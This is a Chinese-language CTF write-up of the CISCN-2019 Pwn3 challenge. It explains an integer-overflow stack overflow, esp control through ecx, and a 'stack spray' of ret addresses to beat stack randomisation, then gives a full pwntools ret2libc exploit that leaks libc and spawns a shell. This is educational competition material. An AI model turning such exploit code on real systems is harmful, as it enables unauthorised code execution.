CISCN-2019-华东北赛区-Pwn3 栈喷射

CTFHUB上面的一道题目,拖了很久都没解决,而且也找不到wp,今天发群里问了一下各位师傅,最后终于解决了!

感谢**@邛笼石影**师傅的指导!!!

先贴一下代码: main_code.png readname_code.png readnum_code.png 这里很明显的一个整数溢出漏洞,我们可以填 -1 来堆栈溢出,然后我就感叹道,好水的题目,结果我就失败了。 问题在于这道题的retn附近的情况,和其他的题目不太一样。 asm.png retn的内容来自于ecx - 4, ecx的值是我们覆盖的值,这意味着我们可以控制esp的值。 可以控制esp的值? 那是不是可以堆栈转移,于是我就去找各种可以写入到bss段上的地方,于是就发现readnum的地方可以写入bss,然后做堆栈转移。 但是事情并没有那么简单。 我又失败了,原因就在于,readnum地方写入的位置 bss_chunk.png 很不巧的不够的距离顶部很近,堆栈空间只有0x20的空间可以供各种函数使用,那自然是不够用的。

所以这道题我就这么卡住了,知道找到群里的师傅帮助我解决。 这位师傅的思路就是利用partial write覆盖ecx那部分对应的堆栈内容,但是由于堆栈是随机的,所以需要爆破几次。 师傅本来的做法是直接固定一个值,然后爆破内容,爆破的概率是:1/64。 计算方法是爆破/xab, a有1/16的概率,b的取值是0 4 8 0xC,有1/4的概率。(来自@不会修电脑的计算思路,我本来还以为是1/256,看到之后恍然大悟)

但是我们这里可以利用一个小技巧,在堆栈上布置各种ret地址,让esi一直滑到我们的ROP位置。 这样第一次成功的概率是:((16 * 0x4) / 256) = 1 / 4,但是如果是那位师傅的方法的话,第一次的堆栈位置确定后,第二次也确定了。但是通过滑下来的方法的话第一次确定了,第二次也无法确定。 所以第二次最差情况下成功的概率是:1 / 4,这个概率的一个准确值还是比较难算的,因为要考虑到开始滑的位置,反正一定是小于1 / 4,因为第二次的payload有可能覆盖到第一次的payload,可能让滑的长度增加。 所以我利用这个技巧后,最差的概率也有1 / 16,但是实际测试中发现,我这么脸黑的人,五六次也能搞定了,再次说明概率计算存在问题。

之后找到了这个利用反复的名字:栈喷射,确实很妙呢。 其他地方都是基础操作了,如果还有疑问的可以看一下exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *

elf = ELF('./pwn')
def fun():
    r.sendlineafter("Now, Challenger, What's name?\n:", "wjh")
    r.sendlineafter("Please set the length of password: ", "-1")

def pwn():
    main_addr = 0x080486EA
    ret_addr = 0x0804841a

    fun()
    payload = p32(elf.plt['puts']) + p32(main_addr) + p32(elf.got['puts'])
    r.sendafter("):", p32(ret_addr) * 15 + payload + '\x58')
    puts_addr = r.recvuntil('\xf7', timeout=0.5)[-4:]
    if '\xf7' not in puts_addr:
        raise EOFError('error')
    puts_addr = u32(puts_addr)
    print 'puts_addr:' + hex(puts_addr)
    libc = LibcSearcher('puts', puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    bin_sh_addr = libc_base + libc.dump('str_bin_sh')
    print "system_addr: " + hex(system_addr)
    print "bin_sh_addr: " + hex(bin_sh_addr)

    fun()
    payload2 = p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
    r.sendafter("):", p32(ret_addr) * 15 + payload2 + '\x68')
    if "name?" in r.recv(timeout=0.5):
        raise EOFError('error')
    r.interactive()

while True:
    # context.log_level = "debug"
    try:
        r = process('./pwn')
        #r = remote('challenge-e69b997323702957.sandbox.ctfhub.com', 23220)
        pwn()
    except EOFError:
        pass
0%